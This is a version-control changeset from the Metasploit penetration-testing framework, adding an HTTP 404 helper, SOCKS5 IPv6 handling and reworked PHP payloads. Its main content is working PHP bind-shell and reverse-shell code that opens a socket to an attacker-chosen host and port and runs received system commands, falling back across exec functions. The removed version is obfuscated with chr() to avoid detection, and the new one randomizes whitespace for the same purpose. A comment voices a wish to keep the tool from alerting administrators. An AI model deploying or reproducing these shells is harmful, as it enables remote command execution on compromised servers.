Changeset 5546

Show
Ignore:
Timestamp:
06/30/08 20:44:56 (4 months ago)
Author:
egypt
Message:

initial commit of browser_autopwn;
revamp php payloads;
socks5 for IPv6 (untested)

Files:

Legend:

Unmodified
Added
Removed
Modified
Copied
Moved
  • framework3/trunk/lib/msf/core/exploit/http.rb

    r5429 r5546  
    444444        end 
    445445         
     446 
    446447        # 
    447448        # Sends a 302 redirect relative to our base path 
     
    449450        def send_local_redirect(cli, location) 
    450451                send_redirect(cli, get_resource + location) 
     452        end 
     453 
     454 
     455        # 
     456        # Sends a 404 
     457        # 
     458        def send_not_found(cli) 
     459                resp_404 = create_response(404, 'Not Found') 
     460                resp_404.body = %Q{ 
     461<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> 
     462<html><head> 
     463<title>404 Not Found</title> 
     464</head><body> 
     465<h1>Not Found</h1> 
     466<p>The requested URL /404.html was not found on this server.</p> 
     467<hr> 
     468<address>Apache/2.2.9 (Unix) Server at #{datastore['LHOST']} Port #{datastore['SRVPORT']}</address> 
     469</body></html> 
     470} 
     471 
     472                cli.send_response(resp_404) 
    451473        end 
    452474 
  • framework3/trunk/lib/rex/exploitation/obfuscatejs.rb

    r5506 r5546  
    4040        # 
    4141        def sym(name) 
    42                 @dynsym[name] 
     42                @dynsym[name] || name 
    4343        end 
    4444 
  • framework3/trunk/lib/rex/socket/comm/local.rb

    r5537 r5546  
    214214        def self.proxy (sock, type, host, port) 
    215215         
     216                #$stdout.print("PROXY\n") 
    216217                case type.downcase 
    217218                when 'socks4' 
     
    219220                        size = sock.put(setup) 
    220221                        if (size != setup.length) 
    221                                 raise ArgumentError, "Wrote less data than expected to the socks proxy" 
    222                         end 
    223          
     222                                raise ArgumentError, "Wrote less data than expected to the socks4 proxy" 
     223                        end 
     224 
    224225                        begin 
    225226                                ret = sock.get_once(8, 30) 
     
    227228                                raise Rex::ConnectionRefused.new(host, port), caller 
    228229                        end 
    229          
     230 
    230231                        if (ret.nil? or ret.length < 8) 
    231232                                raise ArgumentError, 'SOCKS4 server did not respond with a proper response' 
     
    235236                        end 
    236237                when 'socks5' 
    237                         # TODO: add dns lookups through socks5 
    238238                        auth_methods = [5,1,0].pack('CCC') 
    239239                        size = sock.put(auth_methods) 
    240240                        if (size != auth_methods.length) 
    241                                 raise ArgumentError, "Wrote less data than expected to the socks proxy" 
     241                                raise ArgumentError, "Wrote less data than expected to the socks5 proxy" 
    242242                        end 
    243243                        response = sock.get_once(2,30) 
     
    246246                        end 
    247247 
    248                         setup = [5,1,0,1].pack('CCCC') + Socket.gethostbyname(host)[3] + [port.to_i].pack('n') 
     248                        if (Rex::Socket.is_ipv4?(host)) 
     249                                addr = Rex::Socket.gethostbyname(host)[3]  
     250                                setup = [5,1,0,1].pack('C4') + addr + [port.to_i].pack('n') 
     251                        elsif (Rex::Socket.support_ipv6? and Rex::Socket.is_ipv6?(host)) 
     252                                # IPv6 stuff all untested 
     253                                addr = Rex::Socket.gethostbyname(host)[3]  
     254                                setup = [5,1,0,4].pack('C4') + addr + [port.to_i].pack('n') 
     255                        else 
     256                                # Then it must be a domain name. 
     257                                # Unfortunately, it looks like the host has always been 
     258                                # resolved by the time it gets here, so this code never runs. 
     259                                setup = [5,1,0,3].pack('C4') + [host.length].pack('C') + host + [port.to_i].pack('n') 
     260                        end 
     261 
    249262                        size = sock.put(setup) 
    250263                        if (size != setup.length) 
    251                                 raise ArgumentError, "Wrote less data than expected to the socks proxy" 
    252                         end 
    253          
     264                                raise ArgumentError, "Wrote less data than expected to the socks5 proxy" 
     265                        end 
     266 
    254267                        begin 
    255268                                response = sock.get_once(10, 30) 
     
    257270                                raise Rex::ConnectionRefused.new(host, port), caller 
    258271                        end 
    259          
    260                         if (response.nil? or response.length < 8
     272 
     273                        if (response.nil? or response.length < 10
    261274                                raise ArgumentError, 'SOCKS5 server did not respond with a proper response' 
    262275                        end 
  • framework3/trunk/modules/auxiliary/server/capture/http.rb

    r5542 r5546  
    135135                                os_arch = 'armle' 
    136136                        when /Mac OS X/ 
    137                                 os = 'Mac' 
     137                                os_name = 'Mac' 
    138138                end 
    139139                 
  • framework3/trunk/modules/exploits/multi/browser/firefox_queryinterface.rb

    r4646 r5546  
    7171                return if ((p = regenerate_payload(cli)) == nil) 
    7272 
    73                 print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") 
     73                print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") 
    7474                send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' }) 
    7575                handler(cli) 
  • framework3/trunk/modules/exploits/osx/armle/safari_libtiff.rb

    r5151 r5546  
    8686                t = target 
    8787                 
    88                 print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") 
     88                print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") 
    8989 
    9090                # Transmit the compressed response to the client 
  • framework3/trunk/modules/exploits/osx/browser/safari_libtiff.rb

    r5186 r5546  
    7474                t = target 
    7575                 
    76                 print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") 
     76                print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") 
    7777 
    7878                # Transmit the compressed response to the client 
  • framework3/trunk/modules/exploits/windows/browser/ani_loadimage_chunksize.rb

    r5497 r5546  
    291291                return if ((p = regenerate_payload(cli)) == nil) 
    292292 
    293                 print_status("Sending ANI file to #{cli.peerhost}:#{cli.peerport}...") 
     293                print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") 
    294294 
    295295                # Transmit the compressed response to the client 
  • framework3/trunk/modules/exploits/windows/browser/apple_quicktime_rtsp.rb

    r4645 r5546  
    6767                content << "src=\"rtsp://#{cruft}:#{sploit}\" />\n"  
    6868         
    69                 print_status("Sending exploit to #{client.peerhost}:#{client.peerport}...") 
     69                print_status("Sending #{self.name} to #{client.peerhost}:#{client.peerport}...") 
    7070 
    7171                send_response(client, content, { 'Content-Type' => 'text/html' }) 
  • framework3/trunk/modules/exploits/windows/browser/ms03_020_ie_objecttype.rb

    r4645 r5546  
    100100                        "</html>" 
    101101 
    102                 print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") 
     102                print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") 
    103103 
    104104                # Transmit the response to the client 
  • framework3/trunk/modules/exploits/windows/browser/ms06_067_keyframe.rb

    r5364 r5546  
    7373                return if ((p = regenerate_payload(cli)) == nil) 
    7474 
    75                 print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") 
     75                print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") 
    7676         
    7777                # This is taken directly from Alex's exploit -- all credit goes to him. 
  • framework3/trunk/modules/exploits/windows/browser/ms06_071_xml_core.rb

    r5496 r5546  
    130130                content = Rex::Text.randomize_space(content) 
    131131 
    132                 print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") 
     132                print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") 
    133133 
    134134                # Transmit the response to the client 
  • framework3/trunk/modules/exploits/windows/browser/novelliprint_getdriversettings.rb

    r5533 r5546  
    107107                content = Rex::Text.randomize_space(content) 
    108108 
    109                 print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") 
     109                print_status("Sending #{self.name}to #{cli.peerhost}:#{cli.peerport}...") 
    110110 
    111111                # Transmit the response to the client 
  • framework3/trunk/modules/payloads/singles/php/bind_php.rb

    r5138 r5546  
    1212 
    1313require 'msf/core' 
     14require 'msf/core/payload/php' 
    1415require 'msf/core/handler/bind_tcp' 
    1516require 'msf/base/sessions/command_shell' 
     
    2324 
    2425        include Msf::Payload::Single 
     26        include Msf::Payload::Php 
    2527 
    2628        def initialize(info = {}) 
     
    2931                        'Version'       => '$Revision$', 
    3032                        'Description'   => 'Listen for a connection and spawn a command shell via php (persistent)', 
    31                         'Author'        => ['diaul <diaul@devilopers.org>',], 
     33                        'Author'        => ['egypt', 'diaul <diaul@devilopers.org>',], 
    3234                        'License'       => BSD_LICENSE, 
    3335                        'Platform'      => 'php', 
     
    4850        # 
    4951        def php_bind_shell 
     52 
     53                dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4); 
    5054                shell = <<-END_OF_PHP_CODE 
    51                 error_reporting(E_ALL); 
    52          
    53                 set_time_limit(0); 
    54                 ob_implicit_flush(); 
     55                #{php_preamble({:disabled_varname => dis})} 
     56                $port=#{datastore['LPORT']}; 
    5557 
    56                 $port = #{datastore['LPORT']}; 
     58                $scl='socket_create_listen'; 
     59                if(is_callable($scl)&&!in_array($scl,#{dis})){ 
     60                        $sock=$scl($port); 
     61                }else{ 
     62                        $sock=socket_create(AF_INET,SOCK_STREAM,SOL_TCP); 
     63                        $ret=socket_bind($sock,0,$port); 
     64                        $ret=socket_listen($sock,5); 
     65                } 
     66                $msgsock=socket_accept($sock); 
     67                socket_close($sock); 
    5768 
    58                 $sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); 
    59                 $ret = socket_bind($sock, 0, $port); 
    60                 $ret = socket_listen($sock, 5); 
    61                 $msgsock = socket_accept($sock); 
    62  
    63                 while (true) 
     69                while(FALSE!==socket_select($r=array($msgsock), $w=NULL, $e=NULL, NULL)) 
    6470                { 
    65                         $command = socket_read($msgsock, 2048, PHP_NORMAL_READ); 
    66                         $output = shell_exec(substr($command, 0, -1)); 
    67                         socket_write($msgsock, $output, strlen($output)); 
    68                 }  
    69          
    70                 socket_close($sock); 
     71                         
     72                        $c=socket_read($msgsock,2048,PHP_NORMAL_READ); 
     73                        if(FALSE===$c){break;} 
     74                        #{php_system_block({:cmd_varname=>"$c", :output_varname=>"$o", :disabled_varname => dis})} 
     75                        socket_write($msgsock,$o,strlen($o)); 
     76                } 
     77                socket_close($msgsock); 
    7178                END_OF_PHP_CODE 
    7279                 
    7380                return shell 
    74  
    7581        end 
    76  
    7782 
    7883        # 
     
    8287                return super + php_bind_shell 
    8388        end 
    84          
    8589 
    8690end 
  • framework3/trunk/modules/payloads/singles/php/reverse_perl.rb

    r4419 r5546  
    11## 
    2 # $Id:
     2# $Id
    33## 
    44 
     
    1212 
    1313require 'msf/core' 
     14require 'msf/core/payload/php' 
    1415require 'msf/core/handler/reverse_tcp' 
    1516require 'msf/base/sessions/command_shell' 
     
    2324 
    2425        include Msf::Payload::Single 
     26        include Msf::Payload::Php 
    2527 
    2628        def initialize(info = {}) 
     
    4850        # 
    4951        def generate 
    50                 return super + "system(base64_decode('#{Rex::Text.encode_base64(command_string)}'))" 
     52                buf = "#{php_preamble}" 
     53                buf += "$c = base64_decode('#{Rex::Text.encode_base64(command_string)}');" 
     54                buf += "#{php_system_block({:cmd_varname=>"$c"})}" 
     55                return super + buf 
     56                         
    5157        end 
    5258         
  • framework3/trunk/modules/payloads/singles/php/reverse_php.rb

    r5461 r5546  
    1212 
    1313require 'msf/core' 
     14require 'msf/core/payload/php' 
    1415require 'msf/core/handler/reverse_tcp' 
    1516require 'msf/base/sessions/command_shell' 
     
    2324 
    2425        include Msf::Payload::Single 
     26        include Msf::Payload::Php 
    2527 
    2628        def initialize(info = {}) 
     
    4547 
    4648        # 
    47         # PHP Reverse Shell completely without quotes.  Strings and regexes 
    48         # are replaced with chr() equivalents and the IP address to connect to is 
    49         # replaced with integer equivalent wrapped in long2ip().   
    50         # 
    51         # Attempts to make a connection back to the attacker using fsockopen or 
    52         # socket_create and associated functions.  Then attempts to execute a 
    53         # system command with the following functions, in order: 
    54         #       - shell_exec 
    55         #       - passthru 
    56         #       - system 
    57         #       - exec 
    58         #       - proc_open 
    59         #       - popen 
    60         # 
    6149        # Issues 
    6250        #   - Since each command is executed in a new shell, 'cd' does nothing. 
     
    6553        #      circumvent safe mode.   
    6654        #   - Should this add '2>&1' to the end of the executed command to avoid 
    67         #      logging suspicious error messages? 
     55        #      logging suspicious error messages?  I'm afraid this will break 
     56        #      the payload, especially on Windows, but I also don't like my tools 
     57        #      ratting on me to the administrator. 
    6858        # 
    6959        def php_reverse_shell 
     
    7767                        port = datastore['LPORT'] 
    7868                end 
     69                exec_funcname = Rex::Text.rand_text_alpha(5) 
    7970 
    80                 # 
    81                 # The regex looks like this unobfuscated: 
    82                 #   preg_replace('/[, ]+/', ',', $disabled); 
    83                 # 
    8471                shell=<<-END_OF_PHP_CODE 
    8572                $ipaddr=long2ip(#{ipaddr}); 
    8673                $port=#{port}; 
    87                 $_=chr(95);$a=chr(97);$b=chr(98);$c=chr(99);$d=chr(100);$e=chr(101); 
    88                 $f=chr(102);$h=chr(104);$i=chr(105);$k=chr(107);$l=chr(108);$m=chr(109); 
    89                 $n=chr(110);$o=chr(111);$p=chr(112);$r=chr(114);$s=chr(115);$t=chr(116); 
    90                 $u=chr(117);$x=chr(120);$y=chr(121); 
    91                 $disabled=@ini_get($d.$i.$s.$a.$b.$l.$e.$_.$f.$u.$n.$c.$t.$i.$o.$n.$s); 
    92                 if(!empty($disabled)){ 
    93                         $disabled=preg_replace(chr(47).chr(91).chr(44).chr(32).chr(93).chr(43).chr(47),chr(44),$disabled); 
    94                         $disabled=explode(chr(44),$disabled); 
    95                         $disabled=array_map($t.$r.$i.$m,$disabled); 
    96                 }else{ 
    97                         $disabled=array(); 
    98                 } 
    99                 @set_time_limit(0); 
    100                 @ignore_user_abort(1); 
    101                 @ini_set($m.$a.$x.$_.$e.$x.$e.$c.$u.$t.$i.$o.$n.$_.$t.$i.$m.$e,0); 
    102                 function myexec($cmd){ 
    103                         global$disabled,$_,$a,$c,$e,$h,$m,$n,$o,$p,$r,$s,$t,$u,$x,$y; 
    104                         if(is_callable($s.$h.$e.$l.$l.$_.$e.$x.$e.$c)and!in_array($s.$h.$e.$l.$l.$_.$e.$x.$e.$c,$disabled)){ 
    105                                 $output=shell_exec($cmd); 
    106                                 return$output; 
    107                         }elseif(is_callable($p.$a.$s.$s.$t.$h.$r.$u)and!in_array($p.$a.$s.$s.$t.$h.$r.$u,$disabled)){ 
    108                                 ob_start(); 
    109                                 passthru($cmd); 
    110                                 $output=ob_get_contents(); 
    111                                 ob_end_clean(); 
    112                                 return$output; 
    113                         }elseif(is_callable($s.$y.$s.$t.$e.$m)and!in_array($s.$y.$s.$t.$e.$m,$disabled)){ 
    114                                 ob_start(); 
    115                                 system($cmd); 
    116                                 $output=ob_get_contents(); 
    117                                 ob_end_clean(); 
    118                                 return$output; 
    119                         }elseif(is_callable($e.$x.$e.$c)and!in_array($e.$x.$e.$c,$disabled)){ 
    120                                 $output=array(); 
    121                                 exec($cmd,$output); 
    122                                 $output=join(chr(10),$output).chr(10); 
    123                                 return$output; 
    124                         }elseif(is_callable($p.$r.$o.$c.$_.$o.$p.$e.$n)and!in_array($p.$r.$o.$c.$_.$o.$p.$e.$n,$disabled)){ 
    125                                 $handle=proc_open($cmd,array(array(pipe,r),array(pipe,w),array(pipe,w)),$pipes); 
    126                                 $output=NULL; 
    127                                 while(!feof($pipes[1])){ 
    128                                         $output.=fread($pipes[1],1024); 
    129                                 } 
    130                                 @proc_close($handle); 
    131                                 return$output; 
    132                         }elseif(is_callable($p.$o.$p.$e.$n)and!in_array($p.$o.$p.$e.$n,$disabled)){ 
    133                                 $fp=popen($cmd,r); 
    134                                 $output=NULL; 
    135                                 if(is_resource($fp)){ 
    136                                         while(!feof($fp)){ 
    137                                                 $output.=fread($fp,1024); 
    138                                         } 
    139                                 } 
    140                                 @pclose($fp); 
    141                                 return$output; 
    142                         }else{ 
    143                                 return false; 
    144                         } 
    145                 } 
    146                 $command=NULL; 
    147                 $nofuncs=$n.$o.chr(32).$e.$x.$e.$c.chr(32).$f.$u.$n.$c.$t.$i.$o.$n.$s.chr(32).chr(61).chr(40); 
    148                 if(is_callable($f.$s.$o.$c.$k.$o.$p.$e.$n)and!in_array($f.$s.$o.$c.$k.$o.$p.$e.$n,$disabled)){ 
    149                         $sock=fsockopen($ipaddr,$port); 
    150                         while($cmd=fread($sock,2048)){ 
    151                                 $output=myexec(substr($cmd,0,-1)); 
    152                                 if($output===false){ 
    153                                         fwrite($sock,$nofuncs); 
     74                #{php_preamble({:disabled_varname => "$dis"})} 
     75 
     76                if(!function_exists('myexec')){function myexec($c){ 
     77        global$dis; 
     78                #{php_system_block({:cmd_varname => "$c", :disabled_varname => "$dis", :output_varname => "$o"})} 
     79                return$o; 
     80                }} 
     81                $nofuncs='no exec functions'; 
     82                if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){ 
     83                        $s=fsockopen($ipaddr,$port); 
     84                        while($c=fread($s,2048)){ 
     85                                $out=myexec(substr($c,0,-1)); 
     86                                if($out===false){ 
     87                                        fwrite($s,$nofuncs); 
    15488                                        break; 
    15589                                } 
    156                                 fwrite($sock,$output); 
     90                                fwrite($s,$out); 
    15791                        } 
    158                         fclose($sock); 
     92                        fclose($s); 
    15993                }else{ 
    160                         $sock=socket_create(AF_INET,SOCK_STREAM,SOL_TCP); 
    161                         socket_connect($sock,$ipaddr,$port); 
    162                         while($cmd=socket_read($sock,2048)){ 
    163                                 $output=myexec(substr($cmd,0,-1)); 
    164                                 if($output===false){ 
    165                                         socket_write($sock,$nofuncs); 
     94                        $s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP); 
     95                        socket_connect($s,$ipaddr,$port); 
     96                        socket_write($s,"socket_create"); 
     97                        while($c=socket_read($s,2048)){ 
     98                                $out=myexec(substr($c,0,-1)); 
     99                                if($out===false){ 
     100                                        socket_write($s,$nofuncs); 
    166101                                        break; 
    167102                                } 
    168                                 socket_write($sock,$output,strlen($output)); 
     103                                socket_write($s,$out,strlen($out)); 
    169104                        } 
    170                         socket_close($sock); 
     105                        socket_close($s); 
    171106                } 
    172107                END_OF_PHP_CODE 
    173108 
    174109                # randomize the spaces a bit 
    175                 shell.gsub!(/\s+/) { |s| 
    176                         len = rand(5)+2 
    177                         set = "\x09\x20\x0a" 
    178                         buf = '' 
    179                          
    180                         while (buf.length < len) 
    181                                 buf << set[rand(set.length)].chr 
    182                         end 
    183                          
    184                         buf 
    185                 } 
     110                Rex::Text.randomize_space(shell) 
    186111 
    187112                return shell 
     
    195120        end 
    196121         
    197  
    198122end 
    199123